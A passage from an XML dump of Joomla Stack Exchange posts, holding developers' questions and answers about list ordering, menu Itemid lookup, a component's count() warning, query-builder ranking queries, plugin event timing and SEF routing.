aflopend&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;Datum ASC&amp;quot;&amp;gt;Datum oplopend&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;Datum DESC&amp;quot;&amp;gt;Datum aflopend&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;User ASC&amp;quot;&amp;gt;Gebruiker oplopend&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;User DESC&amp;quot;&amp;gt;Gebruiker aflopend&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The populate function looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null)    &#xA;{         &#xA;    parent::populateState($ordering, $direction);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the ordering part looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$orderCol   = $this-&amp;gt;state-&amp;gt;get('list.ordering', '');&#xA;$orderDirn  = $this-&amp;gt;state-&amp;gt;get('list.direction', '');&#xA;// $fullOrder = $this-&amp;gt;state-&amp;gt;get('list.fullordering', '');&#xA;$query-&amp;gt;order($db-&amp;gt;escape($orderCol) . ' ' . $db-&amp;gt;escape($orderDirn));&#xA;//echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;.$query.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&#xA;return $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why does this happen?&lt;/p&gt;&#xA;&lt;p&gt;Additional information&lt;/p&gt;&#xA;&lt;p&gt;It looks like onchange=&amp;quot;this.form.submit();&amp;quot; is not being executed when I change to a (new) ordering (in the listbox).&lt;/p&gt;&#xA;&lt;p&gt;I think the adminForm should be reloaded and that is not happening.&lt;/p&gt;&#xA;" OwnerUserId="14486" LastEditorUserId="12352" LastEditDate="2020-08-31T01:32:43.040" LastActivityDate="2020-08-31T01:32:43.040" Title="List.direction and list.ordering not set properly after changing filter sorting" Tags="|joomla-3.x|sorting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28396" PostTypeId="2" ParentId="28391" CreationDate="2020-08-29T21:28:27.183" Score="1" Body="&lt;p&gt;This only works if the article you are attempting to get the menu item &lt;code&gt;id&lt;/code&gt; for exists in a menu. i.e. if your menu only has a link to the category, but not the article, you will find your &lt;code&gt;$Itemid = $menuItem-&amp;gt;id;&lt;/code&gt; will throw a &lt;code&gt;Trying to get property of non-object&lt;/code&gt; because &lt;code&gt;$menuItem&lt;/code&gt; is not an object, rather an empty array.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$articleId = 10;&#xA;$link = 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $articleId;&#xA;$menu = JFactory::getApplication()-&amp;gt;getMenu('site');&#xA;$menuItem = $menu-&amp;gt;getItems('link', $link, true);&#xA;$Itemid = $menuItem-&amp;gt;id;&#xA;echo $Itemid; // will output the menu item ID only if a menu item exists for article id 10.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As I suspect, your Joomla site does not have a menu item for this article, therefore it is not possible to make a SEF url; so you are left with two options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a menu item for this article, set &lt;code&gt;Display in Menu: Hidden&lt;/code&gt;, OR, create an entirely new menu and create a menu item for your article there.&lt;/li&gt;&#xA;&lt;li&gt;Just use JRoute as standard:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo Route::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=10');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will output as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/?id=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, this still works, navigate to the URL and it will still display your article, albeit without a SEF friendly URL - for SEO purposes you should be using canonical URL's anyway.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-08-29T21:28:27.183" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28397" PostTypeId="2" ParentId="28392" CreationDate="2020-08-30T15:10:05.717" Score="1" Body="&lt;p&gt;The above method is 100% correct and working. My own code, where I had &lt;code&gt;my_custom_namespace&lt;/code&gt; had a typo - I was setting &lt;code&gt;myNamespace&lt;/code&gt; and trying - and obviously failing - to get &lt;code&gt;MyNamespace&lt;/code&gt; :Faceplam:&lt;/p&gt;&#xA;" OwnerUserId="14490" LastActivityDate="2020-08-30T15:10:05.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28398" PostTypeId="1" CreationDate="2020-07-15T12:57:48.763" Score="0" ViewCount="14" Body="&lt;p&gt;This is my first time using sp movie database on joomla. I am getting an  error on spgenries, please help with this....&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: count(): Parameter must be an array or an object that implements Countable in C:\xampp\htdocs\Joomla_3.9.19\administrator\components\com_spmoviedb\fields\spgenries.php on line 25&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;JFormFieldSpgenries.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @package     SP Movie Database&#xA; * @copyright   Copyright (C) 2010 - 2016 JoomShaper. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later.&#xA; */&#xA;&#xA;defined('_JEXEC') or die('Restricted access!');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldSpgenries extends JFormField&#xA;{&#xA;    protected $type = 'Spgenries';&#xA;&#xA;    public function getRepeatable()&#xA;    {&#xA;        return $this-&amp;gt;getInput();&#xA;    }&#xA;&#xA;    public function getInput()&#xA;    {&#xA;        $genre_ids = $this-&amp;gt;value;&#xA;&#xA;        if (isset($genre_ids) &amp;amp;&amp;amp; count(json_decode($genre_ids))) {&#xA;            $genre_ids = implode(',', json_decode($genre_ids));&#xA;            $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select(array('a.*'));&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName('#__spmoviedb_genres', 'a'));&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('a.spmoviedb_genre_id') . &amp;quot; IN (&amp;quot; . $genre_ids . &amp;quot;)&amp;quot;);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $genries = $db-&amp;gt;loadObjectList();&#xA;&#xA;            $output = '';&#xA;            foreach ($genries as $key =&amp;gt; $genre) {&#xA;                $output .= '&amp;lt;a href=&amp;quot;index.php?option=com_spmoviedb&amp;amp;view=genre&amp;amp;id=' . $genre-&amp;gt;spmoviedb_genre_id . '&amp;quot;&amp;gt;' . $genre-&amp;gt;title . '&amp;lt;/a&amp;gt;' . ', ';&#xA;            }&#xA;&#xA;            return rtrim(trim($output), ',');&#xA;        }&#xA;&#xA;        return '....';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="Boorutotem lionation" LastEditorUserId="12352" LastEditDate="2020-08-30T23:55:08.723" LastActivityDate="2020-08-30T23:55:08.723" Title="how to fix array error on spgenries.php of sp movie database for joomla" Tags="|php|jdatabase|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28400" PostTypeId="1" AcceptedAnswerId="28461" CreationDate="2020-08-31T22:41:05.797" Score="1" ViewCount="1590" Body="&lt;p&gt;I am developing a component for a Joomla frontend site and when I include &lt;code&gt;JHtml::_('formbehavior.chosen', 'select');&lt;/code&gt; in the template form, I get this message in JavaScript Chrome Console (Mac OS X):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[Violation] Added non-passive event listener to a scroll-blocking 'touchstart' event. Consider marking event handler as 'passive' to make the page more responsive. See &lt;a href=&quot;https://www.chromestatus.com/feature/5745543795965952&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.chromestatus.com/feature/5745543795965952&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The message doesn't happen in Firefox, but I am supporting an older code for a client and beyond that message I get a really slow page load using chosen, even in Firefox.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have an idea of how to solve this, or any alternative to chosen nowadays?&lt;/p&gt;&#xA;" OwnerUserId="12952" LastEditorUserId="12352" LastEditDate="2020-09-01T04:09:02.843" LastActivityDate="2020-09-15T01:14:31.600" Title="How to solve chosen/jquery/frontend violation" Tags="|joomla-3.x|jquery|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28401" PostTypeId="1" AcceptedAnswerId="28411" CreationDate="2020-09-01T09:13:59.493" Score="1" ViewCount="492" Body="&lt;p&gt;I want take the result from scheda_atleta table for every player and make an HTML table with the best result. I've two tables:&lt;/p&gt;&#xA;&lt;p&gt;first named: &lt;code&gt;at&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;+----+----------------+&#xA;| id | nome_e_cognome |&#xA;+----+----------------+&#xA;|  1 | Tom Tom        |&#xA;|  2 | Jerry          |&#xA;+----+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and second: &lt;code&gt;scheda_atleta&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;+----+--------+----------+----------------+-----------+&#xA;| id | atleta | fs_score | qualificazione | categoria |&#xA;+----+--------+----------+----------------+-----------+&#xA;|  1 |      1 |    11,25 |              1 |         1 |&#xA;|  2 |      1 |    10,55 |              2 |         1 |&#xA;|  3 |      2 |    14,32 |              1 |         1 |&#xA;|  4 |      2 |    12,33 |              3 |         1 |&#xA;+----+--------+----------+----------------+-----------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I try this PHP code below, but is not work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $db = JFactory::getDBO();&#xA;&#xA;$bestAthleteScores = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn([&amp;quot;scores1.atleta&amp;quot;, &amp;quot;scores1.fs_score&amp;quot;,&amp;quot;scores1.qualificazione&amp;quot;,&amp;quot;scores1.categoria&amp;quot;]))&#xA;    -&amp;gt;from($db-&amp;gt;qn(&amp;quot;scheda_atleta&amp;quot;, &amp;quot;scores1&amp;quot;))&#xA;    -&amp;gt;leftJoin($db-&amp;gt;qn(&amp;quot;scheda_atleta&amp;quot;, &amp;quot;scores2&amp;quot;)&#xA;        . &amp;quot; ON &amp;quot; . $db-&amp;gt;qn(&amp;quot;scores1.atleta&amp;quot;) . &amp;quot; = &amp;quot; . $db-&amp;gt;qn(&amp;quot;scores2.atleta&amp;quot;)&#xA;        . &amp;quot; AND &amp;quot; . $db-&amp;gt;qn(&amp;quot;scores1.fs_score&amp;quot;) . &amp;quot; &amp;lt; &amp;quot; . $db-&amp;gt;qn(&amp;quot;scores2.fs_score&amp;quot;)&#xA;    )&#xA;&#xA;    -&amp;gt;where($db-&amp;gt;qn(&amp;quot;scores2.fs_score&amp;quot;) . &amp;quot; IS NULL&amp;quot;)&#xA;    -&amp;gt;where($db-&amp;gt;qn(&amp;quot;scores1.qualificazione&amp;quot;) .&amp;quot;=&amp;quot;. 1)&#xA;    -&amp;gt;where($db-&amp;gt;qn(&amp;quot;scores1.categoria&amp;quot;). ' IN (' . implode(',', $db-&amp;gt;quote(array(1,99,100))) . ')' )&#xA;    -&amp;gt;order($db-&amp;gt;qn(&amp;quot;scores1.fs_score&amp;quot;) . &amp;quot; DESC&amp;quot;);&#xA;&#xA;$rankVariable = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&amp;quot;@i := 0&amp;quot;);&#xA;&#xA;$rankedBestScores = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn(&amp;quot;fs_score&amp;quot;) . &amp;quot;,@i := @i + 1 AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;rank&amp;quot;))&#xA;    -&amp;gt;from(&amp;quot;(&amp;quot; . $bestAthleteScores . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;best_athlete_scores&amp;quot;))&#xA;    -&amp;gt;join(&amp;quot;CROSS&amp;quot;, &amp;quot;(&amp;quot; . $rankVariable . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;rank_variable&amp;quot;))&#xA;    -&amp;gt;order($db-&amp;gt;qn(&amp;quot;best_athlete_scores.fs_score&amp;quot;) . &amp;quot; DESC&amp;quot;);&#xA;&#xA;$bestScoreRanks = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn(&amp;quot;fs_score&amp;quot;) . &amp;quot;, MIN(&amp;quot; . $db-&amp;gt;qn(&amp;quot;rank&amp;quot;) . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;rank&amp;quot;))&#xA;    -&amp;gt;from(&amp;quot;(&amp;quot; . $rankedBestScores . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;ranked_best_scores&amp;quot;))&#xA;    -&amp;gt;group($db-&amp;gt;qn(&amp;quot;fs_score&amp;quot;));&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&#xA;        $db-&amp;gt;qn(&#xA;            [&amp;quot;best_score_ranks.rank&amp;quot;, &amp;quot;athlete_profile.nome_e_cognome&amp;quot;, &amp;quot;athlete_profile.id&amp;quot;, &amp;quot;athlete_scores.fs_score&amp;quot;],&#xA;            [null,                    &amp;quot;athlete_name&amp;quot;,                   &amp;quot;athlete_id&amp;quot;,         &amp;quot;best_score&amp;quot;]&#xA;        )&#xA;    )&#xA;    -&amp;gt;from($db-&amp;gt;qn(&amp;quot;at&amp;quot;, &amp;quot;athlete_profile&amp;quot;))&#xA;    -&amp;gt;innerJoin($db-&amp;gt;qn(&amp;quot;scheda_atleta&amp;quot;, &amp;quot;athlete_scores&amp;quot;)&#xA;        . &amp;quot; ON &amp;quot; . $db-&amp;gt;qn(&amp;quot;athlete_profile.id&amp;quot;) . &amp;quot; = &amp;quot; . $db-&amp;gt;qn(&amp;quot;athlete_scores.atleta&amp;quot;))&#xA;    -&amp;gt;innerJoin(&amp;quot;(&amp;quot; . $bestScoreRanks . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;best_score_ranks&amp;quot;)&#xA;        . &amp;quot; ON &amp;quot; . $db-&amp;gt;qn(&amp;quot;athlete_scores.fs_score&amp;quot;) . &amp;quot; = &amp;quot; . $db-&amp;gt;qn(&amp;quot;best_score_ranks.fs_score&amp;quot;))&#xA;&#xA;    -&amp;gt;where($db-&amp;gt;qn(&amp;quot;qualificazione&amp;quot;).&amp;quot; =&amp;quot;. 1)&#xA;&#xA;    -&amp;gt;where($db-&amp;gt;qn(&amp;quot;categoria&amp;quot;) . ' IN (' . implode(',', $db-&amp;gt;quote(array(1,99,100))) . ')' )&#xA;&#xA;    -&amp;gt;group($db-&amp;gt;qn(&amp;quot;athlete_profile.id&amp;quot;))&#xA;    -&amp;gt;order($db-&amp;gt;qn(&amp;quot;rank&amp;quot;));&#xA;&#xA;$query-&amp;gt;setLimit(24);&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;$query = $db-&amp;gt;loadAssocList();&#xA;&#xA;//echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot; , var_export($db-&amp;gt;loadAssocList(), true) , &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;&#xA; ?&amp;gt;&#xA;&#xA;&amp;lt;table class=&amp;quot;category table table-striped table-bordered table-hover table-noheader&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;nr&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Atleta&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;RANK&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($query as $result){ ?&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;?php echo($result['rank']); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;?php echo($result['athlete_name']); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;?php echo($result['best_score']); ?&amp;gt; &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&#xA;&#xA;I would like to get this HTML table result (best result of 4 races):&#xA;&#xA;+-----+-------------+------------+&#xA;| nr. | Player Name | Best score |&#xA;+-----+-------------+------------+&#xA;|   1 | Jerry       |      14,32 |&#xA;|   2 | Tom Tom     |      11,25 |&#xA;+-----+-------------+------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;etc. But my code doesn't work, skip some data . Where am I wrong?&lt;br&gt;Joomla! 3.9.21 Stable and MySql 5.7&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This raw sql would work if my db version supported &lt;code&gt;RANK() OVER()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    RANK() OVER (ORDER BY MAX(fs_score) desc) AS nr, &#xA;    nome_e_cognome AS &amp;quot;Player Name&amp;quot;,&#xA;    MAX(fs_score) AS &amp;quot;Best score&amp;quot;&#xA;FROM scheda_atleta &#xA;INNER JOIN at on at.id=scheda_atleta.atleta &#xA;GROUP BY at.id, nome_e_cognome&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I want to generate the same result set using Joomla's query building helper methods.&lt;/p&gt;&#xA;" OwnerUserId="14493" LastEditorUserId="14493" LastEditDate="2020-09-09T07:38:51.927" LastActivityDate="2020-09-10T12:05:54.370" Title="Selecting data from two tables and make a ranking in an HTML table" Tags="|php|mysql|jdatabase|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28402" PostTypeId="1" CreationDate="2020-09-01T12:02:26.287" Score="0" ViewCount="26" Body="&lt;p&gt;This query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;rank() over (ORDER BY max(fs_score) desc) AS nr, &#xA;nome_e_cognome AS &amp;quot;Player Name&amp;quot;, max(fs_score) AS &amp;quot;Best score&amp;quot; &#xA;FROM scheda_atleta &#xA;INNER JOIN at on at.id=scheda_atleta.atleta &#xA;Group BY at.id, nome_e_cognome;```&#xA;&#xA;produces:&#xA;&amp;lt;pre&amp;gt;&#xA;+----+----------------+------------+&#xA;| nr | Player Name    | Best score|&#xA;+----+----------------+------------+&#xA;|  1 | Jerry          |      14.32 |&#xA;|  2 | Tom Tom        |      11.25 |&#xA;+----+----------------+------------+&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14493" LastEditorUserId="14493" LastEditDate="2020-09-01T12:20:29.887" LastActivityDate="2020-09-01T12:20:29.887" Title="Translate query from PHP to Jdatabase" Tags="|joomla-3.x|jdatabase|" AnswerCount="0" CommentCount="5" ClosedDate="2020-09-01T14:08:01.323" ContentLicense="CC BY-SA 4.0" />
  <row Id="28403" PostTypeId="2" ParentId="28400" CreationDate="2020-09-01T18:35:44.510" Score="1" Body="&lt;p&gt;I don't see anything wrong with your code, but just in case it's helpful I'm using this method for including the library and I do not see your error.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\HTML\HTMLHelper;&#xA;use \Joomla\CMS\Factory;&#xA;use \Joomla\CMS\Uri\Uri;&#xA;use \Joomla\CMS\Router\Route;&#xA;use \Joomla\CMS\Layout\LayoutHelper;&#xA;use \Joomla\CMS\Language\Text;&#xA;&#xA;HTMLHelper::_('bootstrap.tooltip');&#xA;HTMLHelper::_('behavior.multiselect');&#xA;HTMLHelper::_('formbehavior.chosen', 'select');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was curious and read a bit more about this, and it seems the error actually comes from jQuery. This Stack Overflow thread discusses in more detail and offers a few JavaScript solutions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/48098097/1390452&quot;&gt;https://stackoverflow.com/a/48098097/1390452&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12697" LastEditorUserId="12697" LastEditDate="2020-09-02T20:41:27.387" LastActivityDate="2020-09-02T20:41:27.387" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28404" PostTypeId="1" CreationDate="2020-09-02T03:36:03.593" Score="0" ViewCount="118" Body="&lt;p&gt;According to &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/Content&lt;/a&gt;, it is &lt;code&gt;Called after the data for a JForm has been retrieved.&lt;/code&gt; It is not very clear when exactly the event is triggered.&#xA;Based on the documentation, I'd thought it is triggered after users click the submit button of a form and before the data of the form is actually submitted. But it doesn't seem so in reality.&lt;/p&gt;&#xA;&lt;p&gt;To test it, I enabled the user-profile plugin, and in its &lt;code&gt;profile.php&lt;/code&gt; file, I put a &lt;code&gt;var_dump&lt;/code&gt; in the &lt;code&gt;onContentPrepareData&lt;/code&gt; function&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function onContentPrepareData($context, $data)&#xA;    {&#xA;        var_dump($data);&#xA;        // Check we are manipulating a valid form.&#xA;        if (!in_array($context, array('com_users.profile', 'com_users.user', 'com_users.registration', 'com_admin.profile')))&#xA;        {&#xA;            return true;&#xA;        }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If my guess was right, when I open the editing page of a user's profile, this &lt;code&gt;var_dump&lt;/code&gt; will only trigger after users click 'submit&amp;quot; button. But actually the output of &lt;code&gt;var_dump&lt;/code&gt; is displayed when the page is loaded&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2024-01-15T13:02:10.257" Title="When exactly is onContentPrepareData triggered?" Tags="|plugin|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28405" PostTypeId="2" ParentId="28404" CreationDate="2020-09-02T05:51:25.753" Score="0" Body="&lt;p&gt;It's triggered whenever data is loaded into a form. And that normally happens whenever a form is loaded.&lt;/p&gt;&#xA;&lt;p&gt;When you open the profile edit page, it has a form loaded with data loaded into. If the event was not triggered, the fields added by plugins would not be populated.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-09-02T05:51:25.753" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28406" PostTypeId="2" ParentId="28401" CreationDate="2020-09-02T06:36:23.163" Score="0" Body="&lt;p&gt;Your query written using query builder:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)-&amp;gt;select(&#xA;    [&#xA;            'RANK() OVER (ORDER BY MAX(' . $db-&amp;gt;quoteName('fs_score') . ') DESC) AS ' . $db-&amp;gt;quoteName('nr'),&#xA;            $db-&amp;gt;quoteName('nome_e_cognome', 'Player Name'),&#xA;            'MAX(' . $db-&amp;gt;quoteName('fs_score') . ') AS ' . $db-&amp;gt;quoteName('Best score'),&#xA;    ]&#xA;)&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('scheda_atleta'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('at') . ' ON ' . $db-&amp;gt;quoteName('at.id') . ' = ' . $db-&amp;gt;quoteName('scheda_atleta.atleta'))&#xA;    -&amp;gt;group(&#xA;        [&#xA;            $db-&amp;gt;quoteName('at.id'),&#xA;            $db-&amp;gt;quoteName('nome_e_cognome'),&#xA;        ]&#xA;    );&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Use &lt;code&gt;$db-&amp;gt;loadObjectList()&lt;/code&gt; or &lt;code&gt;$db-&amp;gt;loadAssocList()&lt;/code&gt; to load results as an array of objects or an array of associative arrays, respectively.&lt;/p&gt;&#xA;&lt;p&gt;Note, in order to run queries in Joomla don't necessarily have to use the query builder. You can pass your SQL string directly to database driver's &lt;code&gt;setQuery()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery('SELECT RANK() OVER (ORDER BY MAX(fs_score) desc) AS nr...');&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-09-02T06:36:23.163" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="28407" PostTypeId="2" ParentId="28389" CreationDate="2020-09-02T08:24:15.437" Score="1" Body="&lt;p&gt;If I'm understanding you correctly, you have 2 menuitems on your site which have links &lt;code&gt;/formAlias&lt;/code&gt; and &lt;code&gt;/listAlias&lt;/code&gt;, and when you form an SEF URL using &lt;code&gt;Route:_()&lt;/code&gt; then it gives you the wrong link; is that correct?&lt;/p&gt;&#xA;&lt;p&gt;The way I believe Joomla routing works is that when you supply the parameters to &lt;code&gt;Route::_()&lt;/code&gt; it goes through the site menuitems to compare the link attribute of each menuitem with the parameters you specify in your &lt;code&gt;Route::_()&lt;/code&gt; call.&lt;/p&gt;&#xA;&lt;p&gt;If it finds an exact match then it bases the SEF URL on the alias of that menuitem.&lt;/p&gt;&#xA;&lt;p&gt;If it doesn't find an exact match, then the choice which Joomla makes will appear more random; I think the menuitem which the user is currently on will have a bearing.&lt;/p&gt;&#xA;&lt;p&gt;Regardless of that, you can specify which menuitem Joomla should use in one of two ways (that I know of):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;By specifying the &lt;code&gt;Itemid=xxx&lt;/code&gt; parameter in your &lt;code&gt;Route::_()&lt;/code&gt; call (&lt;code&gt;Itemid&lt;/code&gt; is the id of the menuitem you want to use)&lt;/li&gt;&#xA;&lt;li&gt;By changing the Itemid selected by Joomla in your custom router &lt;code&gt;preprocess()&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you want to use the second option then there is an example in &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Associations&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Associations&lt;/a&gt; in the Custom Router section, where the code checks if the menuitem associated with the Itemid which Joomla routing has provided has the right language, and if not it tries to find a better menuitem, with the correct language.&lt;/p&gt;&#xA;&lt;p&gt;You would need to do a similar thing to decide whether your formAlias or listAlias menuitem is more appropriate in each particular case. There is a guide to using the Joomla menuitem API at &lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-09-02T08:24:15.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28408" PostTypeId="1" CreationDate="2020-09-02T10:04:49.773" Score="0" ViewCount="67" Body="&lt;p&gt;I am following the advice from&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13583/how-to-show-tagged-items-in-category-blog-layout&quot;&gt;How to show tagged items in category blog layout&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It works, but I'm having a problem with the photos.&#xA;The photos are being shown twice -- one below the other.&lt;/p&gt;&#xA;&lt;p&gt;I would also like to ask if there is any way to adjust the photo size.&lt;/p&gt;&#xA;" OwnerUserId="14496" LastEditorUserId="12352" LastEditDate="2020-09-02T13:34:19.360" LastActivityDate="2022-02-02T22:46:10.817" Title="How to show tagged items in category blog layout and adjust the photo size" Tags="|tags|layout|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28409" PostTypeId="1" CreationDate="2020-09-02T15:29:51.767" Score="1" ViewCount="39" Body="&lt;p&gt;I'm not sure when this started happening, but I noticed today in Google Chrome (and subsequently in Firefox &amp;amp; IE) that my Joomla 3.9.20 site is causing a &amp;quot;Mixed content&amp;quot; warning. I searched the .html source for instances of http://, and there are none.&lt;/p&gt;&#xA;&lt;p&gt;Using Google Chrome's developer tools network tab with the filter mixed-content:displayed, I see two requests, in the name column it says &lt;a href=&quot;http://www.my-site.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.my-site.com&lt;/a&gt; (well, it says my actual site's name), in the status column it says 302, in type it says &amp;quot;text/html&amp;quot;, in the Initiator column it shows the path to two .png images (existing_image_thumb.png) (i.e., it seems to be trying to get _thumb version of two existing images). I don't understand this. How can a 